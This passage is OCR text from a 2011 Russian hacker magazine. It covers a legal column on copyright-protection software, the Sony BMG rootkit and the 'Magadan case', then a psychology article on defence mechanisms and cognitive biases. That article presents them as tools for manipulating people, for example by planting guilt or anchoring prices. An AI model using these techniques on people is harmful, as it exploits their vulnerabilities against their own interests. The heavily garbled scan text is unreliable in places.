законодатель смог вспомнить: «изготовление, распространение,

сдача в про кат, предоставление во временное безвозмездное

пользование, импорт, реклама» (ст. 1299 ГК) . Даже если ТСЗАП

«превышают полномочия» И препятствуют тем действиям поль-

ХАКЕР 03 11 46/ 10 1 1

зователя, которые разрешены в силу закона, эти запреты тоже за­

прещено преодолевать (до 4 октября 2010 года было разрешено,

однако последние поправки в ГК убрали этот атавизм свободы) .

Ортогональные права Тем не менее, ТСЗАП не всегда действуют верно. Кроме права

интеллектуальной собственности есть и иные отрасли - ин­

фopMaциoHHoe право, в частности. Отрасли эти ортогональны,

отношения в каждой из них регулируются независимо (см.

таблицу) .

� 1 29

I I

Page 119: Хакер март 2011

Иногда занонная защита своих интересов может нарушать права иных лиц в другой об­ласти. Применение ТСЗАП всегда законно с точки зрения АП. Однако в другом измерении (права на информацию) они могут преступить черту.

АВТОРСКОЕ ПРАВО

- НЕЗАКОННО + ЗАКОННО

Правообладатели, вдохновленные государственной защитой их

интересов, порою забываются и превышают даже те широчай­

шие полномочия, которые расстелил перед ними законодатель.

Те же ТСЗАП вполне могут оказаться вредоносными программа­

ми. Понятие «вредоносная программа» (ст. 273 УК) сформулиро­

вано целиком и полностью в терминах информационного права,

к авторскому не имеет отношения, поэтому статус ТС3АП и

статус вредоносной программы для какого-либо ПО независимы

и вполне сочетаемы. Однако совмещались они редко.

Для начала следует вспомнить скандал с DRМ-системой ХСР

фирмы Sопу BMG . Для контроля использования фонограмм,

распространяемых на компакт-дисках, при помещении диска в

привод автоматически запускалась про грамма «защиты», кото­

рая через использование уязвимости ОС получала права адми­

нистратора (да-да, типичный рут кит) , прописывалась в реестре

и начинала «контролировать» свою музыку. Защита авторских

прав - хорошо и правильно, но такая благородная цель не оп­

равдывает любые средства. Средства не должны нарушать иных

норм, в частности, норм о защите информации. Пользователь

имеет право на безопасное пользование своим компьютером,

каналами связи и на сохранность своей собственной информа­

ции, каковые права защищает 28 глава УК (ст. 272-274) .

ТСЗДП: юридическая квадратура технического круга

ОК

Напоминание «технарей»

Претензии к ТСЗДП

� 1 30

Описанный случай с Sопу BMG российская Фемида предпочла

не заметить: хлопот много, выгоды никакой, да и потерпевшие

заявлений не писали. Но в «Магаданском деле» заинтересованные

лица нашлись.

Самый наглый Фабулу « Магаданского дела» ты, очевидно, помнишь. Средства

защиты авторских прав, которые избрал подсудимый Жуков, не

только защищали его программу от неразрешенного использо­

вания (за пределами срока действия лицензионного договора),

но и блокировали информацию пользователя - бухгалтерские

данные.

Обвинение и защита спорят относительно этого «блокирова­

ния». Ситуация действительно неоднозначная. С одной стороны,

отключение некоторых функций бухгалтерской программы

препятствует доступу к ранее введенным данным пользовате-

ля. С другой стороны, данные эти никуда не деваются, лежат на

диске в dbf-файлах и могут быть прочитаны иными программа­

ми. С одной стороны, за пределами оплаченного срока лицензии

автор пользователю ничего не должен, ничего не обещал и даже

заранее предупредил об окончании сроков. С другой стороны, ра­

зобрать DBF, найти нужные поля и извлечь оттуда свою информа­

цию - задача непосильная для бухгалтера, она и айтишнику-то

под силу чисто теоретически, на практике будет дешевле собрать

и ввести все данные с чистого листа. Обвинение признало такие

действия «блокированием», а программу - вредоносной.

Независимо от того, поддержат ли приговор в более высоких инс­

танциях или нет, правообладателям дан сигнал: не зарывайтесь!

Цель не оправдывает средства. Защищая свои права, не посягайте

на права пользователя.

Конечно, программист-одиночка из Магадана - это вам не

транснациональная корпорация, на которую наехать не хватит

духу у низового суда. Даже у Верховного -вряд ли. Классик

русской поэзии про этот случай писал: «Но есть и Божий суд,

наперсники разврата!». Юристы верующие и юристы-атеисты по­

нимают, что решения судов бывают основаны не на законе, а оп­

ределены иными соображениями, но как квалифицируется дело

«по гамбургскому счету», они видят. А по нему-то программист

явно переборщил со своей «защитой», парализовав деятельность

бухгалтерий целого ряда предприятий. Созданная при этом обще­

ственная опасность заведомо превышает предотвращенную.

Положительный пример, который здесь можно припомнить, -

Ограничение ТСЗДП

Действия, разрешенные правообладателем

Действия, разрешенные в силу закона

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 120: Хакер март 2011

ОПD�Аеление вредоносной программы

Каноническое определение вредоносной п рограммы [ст. 273 УК) : Вредоносная п рогра мма - п рограмма дЛЯ Э В М , за ведомо при водящая к несанкционированному ун ичтожению , блокирова­нию, модифи кации либо коп и рова н и ю информа ции , нарушению работы ЭВМ, систем ы ЭВМ или их сети . Развернутое оп ределение вредоносной п рогра м м ы : Вредоносной следует считать программу дЛЯ Э В М , объекти вным свойством которой я вляется ее способность осуществлять не­разрешенные обладателем и нформации уничтожение, блокиро­вание, модифи кацию либо копирование этой и нформации или неразрешенные оператором информационной системы наруше­ния работы этой информационной системы [ЭВМ , системы Э В М и л и их сети ) , причем те и другие действия - без участия [то есть без явной или неявной команды) вышеуказанных субъектов.

поведение ТСЗАП программ шифрования типа PGPdisk. После

истечения срока разрешенного использования они предоставля­

ют доступ к зашифрованным данным в режиме «только чтение» .

Этого достаточно, чтобы продолжать работу с любыми старыми

данными. А также сохранять новые, но уже без шифрования. Ни­

каким «блокированием» чужой информации при таком раскладе

даже не пахнет.

До победного конца На сегодняшний день не видно предпосылок, чтобы ситуация

с авторскими правами изменилась. Указанный выше перекос

баланса пока не угрожает сушественным интересам общества.

Пока негативные последствия просто накапливаются. Крупные

правообладатели оказываются в заложниках созданной ими же

ситуации. Чтобы не допустить снижения финансовых потоков,

они просят власть вводить новые и новые ограничения для поль­

зователей, продлевать сроки охраны, ужесточать наказания для

нарушителей. Слезть с иглы монополии почти невозможно. Мо­

нопольные сверхдоходы неизбежно поддерживают государствен­

ную охрану монополии, а та, в свою очередь, еще увеличивает

монопольную прибыль. Прибыль правообладателей со временем

перестает зависеть от общественной пользы и выпадает из ры­

ночных отношений. Правообладатели неизбежно скатываются от

полезной общественной роли к паразитическоЙ.

Однако в зависимость от защиты интеллектуальной собственнос­

ти попадают не только корпорации, но и государства. Те, которые

этой интеллектуальной собственности больше про изводят, чем

потребляют. Малейшее ослабление защиты сразу сказывается на

внешнеторговом балансе. А радикальное сокращение охраны,

за которое ратуют некоторые правозащитники, привело бы к па­

дению доходов в разы. Например, США импортируют множество

натуральных ресурсов, а экспортируют в основном виртуальные:

капитал, доллары, услуги, авторские права, патенты. Сокраще­

ние тех же сроков охраны сразу приведет к недополучению мил­

лиардов долларов. Бюджет США, и без того сильнодефицитный,

может этого не выдержать.

Интеллектуальная собственность, в отличие от вещной, требует

весьма специфической охраны. Чтоб защитить материальный

объект, достаточно установить нужный режим (физический и

правовой) там, где локализован объект. Например, запереть

дверь, посадить сторожа. А чтобы защитить свою интеллектуаль­

ную собственность, требуется установить одинаковые законы во

всем мире. Это требует мирового господства. И весьма затратно.

Затраты надо окупать, следовательно, ужесточать охрану, рас­

пространять ее на все новые и новые области, в которых у стра­

ны-гегемона производство превышает потребление. Например,

на селекционные достижения и достижения генной инженерии,

что и было недавно сделано.

А «украсть» чужую интеллектуальную собственность несрав­

ненно проще, чем похитить собственность обычную. Для этого

не нужно вторгаться на чужую территорию и нарушать чужие

законы. Достаточно снять охрану на собственной территории, по

собственным суверенным законам. И пожалуйста -деньги наши

больше не ваши. Именно поэтому государственный суверени­

тет несовместим с постиндустриальным обществом. Именно

поэтому местные законы - больше не внутреннее дело страны, а

покушение на чужие интересы.

Чего надо бояться «Магаданское дело» -довольно опасный прецедент. Он может

насторожить правообладателей, которые, разумеется, примеряют

на себя роль Жукова. Сегодня осудили программиста-одиночку, а

завтра - заведут дело на солидную фирму. И, возможно, запретят

применять некоторые виды ТСЗАП. Это снизит собираем ость

лицензионных платежей. Доходы окажутся под угрозой.

Подобный ход рассуждений ведет к тому, что влиятельные пра­

вообладатели станут добиваться иммунитета от 273-й статьи ­

права применять такие технические средства защиты, какие им

захочется. И баланс интересов авторов, посредников и общества

еще больше перекосится.

И другой вывод из «Магаданского дела», который должны сделать

для себя программисты, таков: ни один, даже самый мелкий, про­

ект сейчас не обойдется без юриста. Технарю почти невозможно

самостоятельно защитить свои права, не задев при этом чужие.

Шаг вправо - виновен, шаг влево - обворован. А единственная

законная тропинка - узенькая и, чего греха таить, кривоватая. I

Разные термины разграничивают разные отрасли права. Смешение терминов - это попытка натянуть неприменимые законы. Например. невозможно украсть произведение. но только нарушить авторские права на него. У информации не бывает владельца. но только обладатель. Невозможно запатентовать информацию. Перечисленные пары терминов неприложимы друг к другу.

Собственность Интеллектуальная собственность Информационное право

Владелец

Хищение, кража, грабеж, мошенничество

ХАКЕР 03 1 1 46/ 1 0 1 1

Правообладатель

Произведение

Нарушение авторских прав, нарушение патентных прав, нарушение прав на товарный знак

Обладатель

Информация

Нарушение прав на информацию, разглашение, неправомер­ный доступ

� 1 31

Page 121: Хакер март 2011

8.) � i i е. Оксана «Oriyana» Андреева oriyanalaxpsycho.ru

Ф А Н Т О М Н Ы Е Н И Т И У П Р А В Л Е Н И Я С О З Н А Н И Е М Бессознательные эффекты и иллюзии в арсенале опытного манипулятора

Каждый искусный манипулятор знает: чем глубже в недрах бессознательного спрятан

психический процесс, чем меньше знает о нем человек, тем лучше нужно его изучить,

чтобы добиться добровольного подчинения.

Цел ые поколения и ш колы психологов, финанси руемые та кими манипуляторами , стараются, проводят исследования , опыты - и все для того, чтобы ты беспрепятствен­но мог изучать потайные ходы человече­ской психики, испол ьзуя их на бла го себе и во вред тому, кто посмеет встать на твоем пути .

Защитные механизмы психики Защитн ый механизм психики [ З М П ) - это п роцесс, про исходя щий внутри психики . Мы не осоз наем е го , н о он диктует свои правила . Е го роль, во-первых , за щитная [оградить сознание от болезненных пере­живаний , поступающих извне или из под­сознания ) , а во-вто рых - адаптационная [помочь не пере гружать сознание необя­зател ьной информацией и анализом) . З М П действуют на бессознател ьном [неосоз на­ваемом) уровне и искажают или отрица ют настоя щее. Допустим , есть неп риятное воспомина н и е о некорректно пройде нной ситуа ции : остал ся страх, стыд, вина [ по мнению большинства психологов, З М П включается именно в случае воздействия этих трех эмоци й ) ; такое воспоминание причи няет эмоционал ьную боль , тра в м и руя психику. И тут на помощь приходит З М П - о н помогает оградить сознание от бес­сознател ьных травмирующих переживан и й : человек л и бо оправды вает сам себя [мора­лизация , рационал изация) , либо забы вает [ вытеснение , подавление ) , л ибо вообще не призн ает, что такое случилось [отрицание ) , либо , л ибо , л ибо . .

� 1 З2

Примитивная ИЗQЛЯЦИЯ, УХОД в tpаН1ази", Попытка уйти от напряжения в мечты , радужное выдуманное простра нство. Жи вет себе человек , ни чего из себя не предста в­ляет, ничего в жизни не добился и пони­мает, что вряд л и добьется с такой силой воли и цел еустремлен н остью . . Конечно , это понимание не может радовать, оно может только огорчать; а огорчаться не хоч ется .. Есть два выхода : - взяться за ум , собрать волю в кулак и начать работать над собой; - забить на все жизненные обстоятельства и почаще мечтать о то м , «что бы я сделал, есл и бы был м иллионером . . . Я бы ездил на розовом кадиллаке, каждый вечер - джа­кузи с шампанским , красивые девуш ки . . . » .

Тоже вроде неплохо: и масса позитивных эмоци й , и делать н ичего не надо. В рекламе м ы ча сто види м предложение окунуться в мир , где « розовые пони кушают радугу и какают бабоч ка м и » всего за .. « 99 франков» - отличный фильм, п оказывающий , как PR и реклама испол ьзуют человеческую сла ­бость для обогащения .

Отрицание И ндивид отказывается осознать или при ­знать травмирующую или карди нально новую для него информацию. В фильмах ты не раз видел, как человек, которому сооб­щили о неожида нной гибел и бл изкого чело­века, отказы вался в это верить, - вот тебе проявление отрицания . Но это хардовый вариант, если же брать повседн евность,

то ситуа ция м ожет быть та кой : девуш ка с высоким самомнением заняла в конкур-се посл еднее место. Она будет в полной уверен ности, что произошла техническая ош ибка : информация , кото рая конфли ктует с ее установкам и , просто не допускается в сознание .

Всемогущий контроль в детстве эта особенн ость психики безобидна и в ы глядит достаточно м и л о : мал ы ш , з а к р ы в а я глаза , сч итает, что во всем мире стало те мно . Когда ребенок становится взросл ы м , этот 3 М П кажется уже не та ким заба в н ы м . ощуще н и е себя п р и ч и ной всего , что прои сходит вокруг, ка к следств и е - гиперответственность, ка к следствие - чувство в и н ы [ потому что н е возможно контрол и ровать, тем бол е е контрол и р овать успеш но , все во круг) . Распростра н е н н ы й в России п р и мер , хоть и не совсем ти п и ч н ы й : же нщина , которую постоя нно бьет п ья н ы й муж, сч итает, что она делает что-то не та к и изо всех сил ста ра ется быть хорошей , но это ни к ч е му не п р и водит, поскол ьку п р и ч и н а а грессии мужа совсем в друго м . Ко нечно , всемогу­щим контрол ем в кла ссич еском п о н и м а ­н и и это не назовешь , н о е с л и в н и кнуть в суть я вл е н и я , то видно , что та ким пове­дением она п ытается контрол и ровать а грессию мужа . Сочета н и е всемогущего контроля с безответственн остью м ожет по радовать невын оси м о нарциссичной л и ч н остью с тенде нцией ухода от реально­сти [ ведь реал ьн ость жестоко показывает, кто есть кто)

ХАКЕР 03 / 1 46/ 2 0 1 1

Page 122: Хакер март 2011
Page 123: Хакер март 2011

��e:,"��KT hроекциt1J М ы не раз вспоминали п роекцию в предыдущих статьях . Это п р и писывание окружа ющим л юдям своих [или допол­няющих] чувств, пе режи ваний , восп рия­тия. Допусти м , есл и м н е сейчас хорошо - я вижу вокруг счастл ивых и радостных л юдей , если плохо - ИЛИ они все угрюмые и грустные, или зл ы е и хотят еще бол ьше усугубить мое плохое состояние [ компле­ментарная п роекция ] . Если у Васи внутр и к и п ит злость и а гресс и я , в окружа ющих он видит то же самое , даже если и х н ет, - как раз тот случ а й , когда не замечая бревна в своем глазу, види ш ь с о р и н ку в чужо м . С одной сто р о н ы , это п о в ы ша ет чувствова н и е окружа ющих , т а к как поз воляет сравнить в н е ш н и е п роявл е н и я эмоций , с другой -может быть о ш и б о ч н ы м , та к ка к , н а п р и ­м е р , учащенное дыха н и е свойстве н н о н е тол ько а гресс и и , но и вол н е н и ю , возбуж­дению и л и тревоге . Бы вает и та к, что Вася видит в П ете а грессора [поскольку у самого внутри бушует демон] и начинает утихом иривать е го, други м и слова м и - навязывать ему предполагаемую роль и реагировать соот­ветственно на этот п ридуманный образ. В этом случае можно говорить о п роекти вной идентификации .

Интроекция Н еосозна ваемая п о п ытка вобрать в себя ч е рты з н а ч и м ы х л и ч н осте й , п р и с в о е н и е и х взглядов на жизнь , м отивов , особен­н осте й п о в ед е н и я . Особенно хорошо это видно на детя х : о н и п о вто ряют н а иболее я р к и е [а и н о гда и совсем н езаметные ] ч е рты родител е й и л и к и н о герое в , п р и ­ч е м н е насл едуют осоз н а н н о [ и н а ч е это б ы л а бы уже иденти ф и ка ц и я ] , а бессознател ьно дел а ют эти особе н -н ости с вои м и . П очти л юбая уста н о в ка и л и насл едуе мая форма [ в частност и , воспита н и е ] - это и нтроект, если тол ь­ко она н е осоз н а етс я , а действует из с верхсозна н и я , то есть, если ты уже восп р и н и м а е ш ь е е ка к свое собств е н н о е уб ежде н и е и л и вообще н е осоз н а е ш ь н и ка к . И м е н н о к это му 3 М П а п елл и рует п острое н и е культа л и ч ност и : з везды ш оу­бизн еса , п о пул я р н ы е с п ортс м е н ы и та к дал е е ч а сто ста но в ятся и нтроекта м и для п одраста ющего п о кол е н и я .

Расщепление Эго Восприятие в че рно-белом цвете : и л и хорошо , или плохо ; или п ра в ильно , и л и непра в ильно . Казалось бы , т а к восп р и н и ­мают в с е дети . . Н о у взрослых этот п одход встреча ется н ичуть не реже. Н а п р и м е р , вчера де путат, тол ка ющий с в о ю ка ндида-

� 1 З4

Социальная реклама умеет ВЫЗЫВать ВИНУ чyn. ли не на ровном месте

туру, был плох и м , а сегодня он же, раз­да ющий по 1 к г гречки в кач естве той же п ропаганды - уже хорош и й . П р и этом в каждом случае он восп р и н и мается ка к отдел ьная л и ч ность, а вчера ш н и е е го заслуги или промахи полностью н и вел и ру­ютс я . Расщепл е н и е встреча ется у л юдей , кото рые н е м о гут одновременно соедин ить две конфли ктующих стороны восприятия , И М трудно по нять, что человек м ожет обла­дать разными качества м и и характеристи­ка м и - ка к субъекти вно пол ожител ьн ы м и , так и субъекти в н о отр и цател ьн ы м и . Та кое разделе н и е на черное и белое помога ет упорядочить и систе мати з и ро вать восп р и -

нимаемую и нформацию , пусть и относи­тел ьно - но внутри нап ряжен и е временно снимается . Ведь разве совесть позволит взять 1 кг гречки у плохого и лжи вого кан­дидата в депутаты?

вытеснение) (подавление

Други м и слова м и , е го можно назвать забыванием . П роизошло что-то непри­ятное? Надо поскорее забыть [ ка к вариант - зал ить спиртн ы м ] , та к вроде легче . . . Вот почему дети часто забывают тра в м и рую­щие факты из детства. Опасность состоит в ТОМ , что «зада вленные» воспоминания все

ХАКЕР 03 /146/ 201 1

Page 124: Хакер март 2011

� i nfo

Описанные в статье за щитн ые механизмы и бессоз нател ьные эффекты психики влияют на общее вос­приятие окружа ющей действительности и способствуют воз­никновению иллюзий восприятия .

� wa г n i ng

Согласно Фрейду, психика состоит из сознания и бессознательного (подсознание + сверхсо­знание)

Место для строительства коттеджа будет казаться больше, если его разбить на части. Та к же сад, разделенный на несколько часте й, будет выглядеть обширнее , чем если бы это был просто земельный надел. Будь вни мателен

равно вспл ывают в виде необъясн имой тре­воги [факт беспокоит, но он уже « изгнан» из сознания и остается только эмоциональная реакция на него] или даже физи ческих заболеваний .

Рационализация Хитры й способ убедить самого себя в том , что « я не хочу поступать в М Г У не потому, что та м большой конкурс, и я боюсь про­вал иться , а потому что там сл ишком теоре­тизи руют материал, а мне нужна практика» - короче , « Л иса И виноград». При этом проти воречащие мом енты вытесня ются или игнорируются , а восприни мается только то, что подтверждает комфортную поз и цию . Если же ни чего не подтверждает - можно логическим путем выйти на что-ни будь похожее и спать спокойно [да-да, логи ка -вел и кая сила l ]

П_,.,�ологические э<р<реКТЬI Речь об и нтересных и комплексных ф и ш ках , которые выдает наша психика . В одних случаях это более сложн ые ЗМП , в других - стереоти п н ы е формы, облегчающие вос­пр иятие л юдьми друг друга.

Эффект леди Макбет Чувствуя вину [плохой поступок, предатель­ство] или ощущая себя грязно [например, после из насилова ния или чего-то, что вызы­вает брезгл ивость и стресс], человек п ытает-

ХАКЕР 03 / 1 46/ 20 1 1

- этой иллюзией восп риятия пользуются при продаже да чных участков, чтобы завысить цену.

Розовые очки стали символом ухода в фантазии

ся смыть негативные эмоции водой, подобно шекспи ровской леди Ма кбет, п ытавшейся очистить кровь с рук, терзаясь угрызениями совести. Думаю, ты обращал внимание , что во многих обрядах при нято ритуальное омо­вение рук, или что многие убийцы в фильмах после преступлений пытались смыть с себя не стол ько кровь, сколько давление совести. Опыты тоже подтве рдили предположение о связи физического и ментального состоя н и й : двум группам исп ытуемых дали задание опи­сать плохие поступки , которые они соверша­ли, после чего первой группе дал и влажные салфетки , чтобы вытереть руки [предлог -« грязная клавиатура, м и кробы » ] , а второй -нет, и п редложили бесплатно поучаствовать в еще одном эксперименте. Резул ьтаты пока­зал и , что первая группа [которая « смыла» С себя негативные воспоминания и вину

салфетками ] преи мущественно отказалась, вторая (у которой не было возможности « очиститься» ] - преимущественно согласи­лась, чтобы отработать ви ну. Думаю, понятно, что насадив искусственно чувство вины и стыда (обрати внимание , рол и ки подобной направлен ности сейчас появляются , ка к грибы после дождя] , можно вынудить человека или целое общество к невыгодн ым для себя поступкам.

Эффект Зейгарник Назван в честь Бл юмы Зейгарник , впервые описавшей его . П о ее утверждению , пре­рванные , незаконченные действия запоми­наются лучше , чем завершенные , что под­тве рждает ряд п роведенных э кспериментов. Классически й при мер - официант: он хоро­шо помнит заказы е ще не расплативш ихся

� 1 3 5

Page 125: Хакер март 2011

Знаменитая леди Макбет стала прототипом психологического эффекта очищения от негативных эмоций

кл иентов , но п очти сразу забыва ет блюда, которые заказывали кл и енты , покинувшие ресторан . То же со студента м и : пока пред­мет а ктуален [экза мены , зачеты! - уча­щийся помнит его хорошо, но как только он окончил универ , то предмет, не связа н н ы й с е го дал ьнейшим обучением !скажем , в аспирантуре! или п рофесси онал ьной дея ­тельностью, забывается . М еханизм понять можно - память удерживает то, что акту­ально , и избавляется от ненужной инфор­мации.

Эффект Пигмалиона Человек , убежде н н ы й в чем-то , в л е п е ш ку разобьется ради того, чтобы подтвердить свои убежде н и я . Женщина , уверенная , что « все мужики - козл ы » , будет систе м а ­тически до водить каждого находя щегося рядом мужчи ну, п о ка он н е сорвется и не п о кажет свою « козл иную» [ по е е мнению ! сущность. Ч а сто этот эффе кт сра баты вает п р и подтве рждении жизненной пози-ц и и и сопровождается репликами « Ну Я же го ворил l » , « Я та к и з н ал l » , « Ну кто бы сомн евался . . . ». Дело в то м , что есл и человек не прочувствовал другой л и н и и развития событи й , т о он будет усиленно и гнор ировать [ З М П : избега н и е , отр и ца­н и е ] все факты, которые п роти воречат е го п оз и ц и и . Забавно, что иногда ожидания первого относител ьно второго заставляют второго разби ваться в лепешку, чтобы подтвердить ожида ния первого. Например , часто сраба­тывает манипуляция с двоечн и ко м : стоит е го п охвал ить и сказать, что ты веришь в н его , и на самом деле он умный и стара­тельный , как вчерашний хул и ган изо всех сил постарается не разруш ить тот положи­тельный образ, который « надел» на него учитель или родител и . Разл ич ная фирменная сувенирная про-

� 1з6

Иллюзия выбора - одна из самых приятных

дукция [шарфики , кеп ки , футбол ки! также раздается не от доброй души - в этом есть психологическая хитрость: человек, иденти­фицирова в ш и й себя с этой торговой маркой !соответственно , убежденный в ее достой­ном статусе! , горло перегрызет л юбому, кто усомн ится в качестве продукци и . Это гораз­до легче , чем признать, что ты лоха нулся с выбором.

Эффект плацебо Эффект, знакомый каждому хотя бы пона­сл ы ш ке : когда таблетка сахара является чуть ли не панацееЙ . Други м и слова м и , под влия нием внушения эффективности л екар­ства больной сам себя исцеляет. На самом деле внушение имеет физиологически й характе р : в этом процессе участвует чуть ли не половина зон головного мозга и раз­личные гормоны , что подтверждено э кспе­рим ентал ьно Обратн ый эффект - ноцебо, когда под вл иянием внушения состояние человека ухудшается . М ожно сказать, что в обоих случаях задействован З М П - фанта­з и рование .

Эффект первого впечатления В п е ч атл е н и е , соста в л е н н о е о ч е л о в е ке в п е р в ы е м и нуты , р е шает м н о гое п р и дал ь н е й ш е м о б ще н и и . В стре ч а ют п о одежке - п ро вожают п о уму. Н о одеж­ку луч ш е п одб и р ать тщате л ь н о , и н а ч е « встр е ч а ю щ и е » мо гут н е дать ш а н са п о казать свой у м . П р и ч и н а - л е гч е мысл ить сте реоти п а м и , а н е п р и с п о с а ­бли ваться , наблюдать и а н а л и з и ро вать кажд ы й раз но вого субъе кта или объ­е кт. В ч е м -то они п р а в ы - бол ь ш и н ство оты г р ы в а ет о п р едел е н н ы е соци а л ь н ы е рол и , н а о с н о в е кото р ы х м о ж н о строить все взаи м одей ств и е , н е заду м ы в а я с ь о л и ч н ы х особ е н н о стях .

Эффект порядка Если и з разных исто ч н и ков поступ а ет п роти воречивая и н формация [и в настоя -

щий момент н ет возможности ее п ро­верить! , то л юдям сво й ственно отда вать п редпочте н и е то й , что поступила первой . Этим ус п е ш н о пол ьзуются сотрудники­ка рьеристы , которые в конкурентной борьбе ста ра ются донести до начал ьства свою точ ку зрения раньше своих коллег. П р и поступл е н и и же н е п роти воречивой и нформации бол ь ш и й вес и м еет та , что поступила последней , п р и ч е м она рассма­три ва ется как уточ няюща я .

Эффект ореола Да н н ы й эффект состоит в том, что в усл о­виях недостатка данных о человеке мы ориентируемся на из вестную информацию о нем , на тот образ его [ореол ] , который уже успели составить. « Сарафанное радио» ил и отзывы о с пециал исте - это ка к раз проявление эффекта ореол а : услышав от кого-то п озитивные впечатления , мы зара­нее доверяем врачу или юристу, об уровне п рофесси онализма которого пока н е знаем на своем опыте. Н е зря спортсме н ы , звезды кино- и шоу­бизнеса э ксплуати руют свои профессио­нальные заслуги, когда идут в пол ити ку. Причем это работает, многи е верят: если достиг успехов в спорте - сможет л егко руководить стра ной .

Эффект обобщения Если ты программист - у тебя обязател ьно беспорядок на столе, клавиатура зал ита пивом и еди нственная девуш ка, которую ты знаешь - это SHODAN. Даже если это не та к, среднестатисти чески й непрограммист по дефолту будет ждать от тебя именно этого, потому что та к п редписы вает на род­ная молва. Это глобальный вариант эффек­та обобщения . Но быва ют и частн ые случаи - напри мер, четы ре Сергея , которых ты знаешь, замкнуты и безэмоционал ьны : такого же характера ты , вероятно , будеш ь ждать и от п оследующих знакомых с име­нем С ергей.

Эффект якоря Потрясающая особенность психики , позво­ля ю щая знающим л юдям манипул ировать и иметь на этом профит. Здесь реша ющую

ХАКЕР 0 3 1 1 46/ 201 1

Page 126: Хакер март 2011

.1

Иллюзии и эффекты ПСИХИКИ СИЛЬНО искажают межличностное восприятие

роль и грает сравнение и аналогия : если дать человеку я корь I когнитивный обра­зец для сравнения ] , то следующий объект он при вяжет к нему \сравнит, возьмет за образец] . П римеров масса. Взять хотя бы супермаркеты с перечеркнуты ми цен н и ка ­м и : если т ы види ш ь, что раньше этот товар стоил 400 рублей , а сейчас - 290, сознание м гновенно оценит « в ы годность» п редло­жения , не задум ываясь о том , что реальная цена соста вляет рублей 200 . Или если на дорогую кровать премиум-класса положить матрас, мя гко говоря , средне го качества с явно завышенной ценой, он улетит в ком ­плекте с мебелью, не вызывая сом нений у покупател я .

Теория и ПDaктика илmoЗОРНБИ относи1ельности Н а родная мудрость гласит: « Длина м и нуты зави сит от того, по какую сто рону туалет­ной двери вы находитесь» . П ытл и в ы е умы уже давно заметил и особен ность психики , п рида ю щую субъекти вный налет объектив­н ы м вел и ч и н а м : время, изоб ражение , з вук, объем . Восп р и н и мал бы человек в с е объектив-но - он был бы роботом , а н е человеком . Причем ладно, есл и бы это касалось только абстра ктных поняти й , та ких как эмоции , отношения , мораль, но даже откр ыв журнал или гл я нув на биллборд, наш недоробот выхватит что-то одно и в упор не заметит второго . М ы все над этим п р и калываемся , но все равно железно ведемся на рекламы типа « З вон ите по О ко пеек без платы за соединение l *» , где основная фраза на рисована ярким цвето м и огром ным шр ифтом , а сноска «�О П ри условии абонентской платы 1 500 руб.! месяц» - еле заметна . В обмане упре кнуть м ожно только н а ш е восп риятие, и уж н и ка к не оператора , который честно указал всю

Х А К Е Р 03 / 1 46/ 2 0 1 1

и нформацию. Кстати, именно « нарисова­на», а н е « написана» или « напечатана» , - нарисованная фраза гораздо л е гче и быстрее воспринимается нашими органами зрения , что является вел ичайшей иллю­зией , но ра ботает на 1 00%. Н ет, вру, на 98: на 1 00 сработает рисунок или фото графия , н е требующая чтения , ведь подсознание воспринимает образ ы , формы , цвета, про­странственное расположение , а не набор букв. Это благодаря сознанию проч итанная фраза и нтерп рети руется в образ и только после этого начина ет испол нять возложен­ную на нее фун кцию по атаке п одсознания . Но здесь тоже не все однозначно - р исунок луч ше привлекает внимание, а фотогра­фия - вызы вает бол ьше доверия. Тем не менее, мудрые рекламщики нашли выход: например , из нарисованн ого нуля вылетает Iди н а м и ка привлекает больше, чем стати ка] сфотографированный юноша, эмоциониру­ющий по поводу воз можности « бесплатно» го ворить по телефону Iфотоэмоции вызыва­ют доверие больше , чем на рисова н н ы е] , и во круг - еще много нарисованных гадже­тов яркого цвета. А есл и е го разместить на 3/8 л иста сверху I именно в эту зону в пер­вую очередь падает взгляд] - получается очень заметный образ. Кроме чисто физиологического обмана lобман органов чувств], есть м н ожество иллюзий , основан н ы х на нашем опыте, социальных стереоти пах, а также З М П и эффектах психики . Из тех, что чаще всего испол ьзуются мани пуляторам и : • Эффект повального увлечения - склон­ность следовать выбору тол п ы , игнорируя здравый смысл : иногда на выста вках спе­циально нанимают людей , которые толпятся возле стенда компании , иллюзорно повы­шая ее популярн ость. • Ошибка , связа нная с частными при мера­м и , когда вы вод делается на основе не ста­тистики , а частных случаев: « М арьиванна

два месяца п ила чай для похуде ния и сбро­сила 30 Kr l» . • Иллюзия контраста lэту иллюзию когда -то описы вал наш любимый Крис в статье про н ить Ариадн ы , сравнивая оранжевые круги ] , п р и е м постоянно используют в рекламе . Поскольку иллюз ия и психологическая, и оптическая одновременно , она работает на ура - достаточно сфото графи ровать свой товар на фоне таких же, но ужасного каче­ства, и доверчивый п окупатель подсозна­тел ьно сделает правильный выбор . • Иллюзия контрол я , да ющая человеку право думать, что он действител ьно что-то решает, вел ичайшее благо для пол итиков: ты можешь со 1 ОО%-ной уверенностью ска­зать, кто действител ьно является п резиден­том России? • И ррациональное усиление - при нятие иррациональных решений на основе п ро­шлых рациональных. Допустим, мужчина , имея жену в декрете с двумя маленькими детьми , в условиях кризиса увол ьняется с работы, основываясь на воспоминаниях о том, ка к он в 20-летнем возрасте уволился и спустя неделю нашел новую, более успеш­ную работу. К этой же иллюз и и относится оправдание совершенно и ррациональных действий Iнапример , покупка неоправданно дорогой вещи] , называемое рационализаци­ей после покупки. • Иллюзия « сп ра ведл ивого м и ра» - л юди счита ют, что все воздается по заслуга м . При этом всегда оценщик заслуг l и л и раз­реш итель] - это другая лич ность: либо субли ч ность Iвнутренний образ авторитета] , либо кто-то извне , например , реклама , вос­кл ицающая « С и гареты SоЬгапjе. Могу себе позволить . . . » или « МТС. VIP, Вus i пеss и Opt ima. Соответствовать уровню» .

